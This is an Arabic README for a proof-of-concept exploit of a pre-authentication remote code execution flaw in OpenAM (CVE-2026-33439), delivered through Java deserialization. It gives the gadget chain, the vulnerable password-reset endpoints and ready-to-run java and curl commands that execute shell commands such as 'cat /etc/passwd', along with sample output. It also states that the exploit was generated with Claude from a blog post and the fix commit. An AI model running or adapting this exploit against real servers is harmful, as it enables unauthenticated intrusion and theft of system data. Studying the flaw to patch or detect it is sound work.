
استغلال لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة في OpenAM (CVE-2026-33439) باستخدام سلسلة أدوات إلغاء تسلسل Java لتنفيذ الأوامر وإرجاع المخرجات مباشرةً في استجابة HTTP.
مخرجات الأوامر مباشرة في استجابة HTTP — لا حاجة لاستخراج DNS أو قنوات خارجية (OOB).
تستخدم com.iplanet.jato.RequestManager.getRequestContext() للوصول إلى
طلب/استجابة JATO ThreadLocal النشط أثناء إلغاء التسلسل. تعمل على Java 21+ حيث
تفشل تقنيات الصدى الكلاسيكية في Tomcat (اجتياز Thread.target / ThreadGroup.threads).
javac لتجميع translet في وقت التشغيل)click-nodeps-2.3.0.jar و xalan-2.7.x.jar في مسار الفئات| نقطة النهاية | مخرجات الصدى |
|---|
/sso/ui/PWResetUserValidation | HTTP 200، مخرجات الأوامر في الجسم |
/sso/ui/PWResetQuestion | HTTP 200، مخرجات الأوامر في الجسم |
/sso/ui/PWResetSuccess | HTTP 200، مخرجات الأوامر في الجسم |
تم اختبارها أيضًا ولكن بدون مخرجات صدى (إلغاء التسلسل لا يزال يحدث):
/sso/ui/PWResetInvalidURL — يتم إرجاع صفحة خطأ/sso/ui/PWResetUncaughtException — يتم إرجاع صفحة خطأ./build.sh
يضيف ملف JAR تلقائيًا علامات JVM --add-opens — لا حاجة لتحديدها يدويًا.
# كل شيء في واحد: إنشاء الحمولة + الإرسال + عرض المخرجات (الوكيل عبر Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# بدون وكيل Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# إنشاء حمولة قابلة لإعادة الاستخدام (يأتي الأمر من ترويسة 'cmd' في وقت الطلب)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue (سلسلة أدوات Click1 + Xalan TemplatesImpl)RequestManager.getRequestContext() للحصول على طلب/استجابة JATO النشطcmd، وينفذ sh -c <cmd>، ويكتب stdout+stderr إلى response.getOutputStream()\x00 + Base64 آمن لعناوين URL، بدون حشو)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> (بدون مصادقة)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # ملف JAR للاستغلال
build.sh # سكريبت البناء
MANIFEST.MF # بيان JAR
README.md # هذا الملف
lib/ # التبعيات (يجب أن تبقى بجوار JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # الكود المصدري
تم التصحيح في التزام OpenAM 014007c63cacc834cc795a89fac0e611aebc4a32 — يضيف
مرشح فئات إلى ObjectInputStream في SessionEncodeURL.readSessionID().
تم إنشاء إثبات المفهوم باستخدام Claude؛ كان المطالبة هي المقال (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) والتزام Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)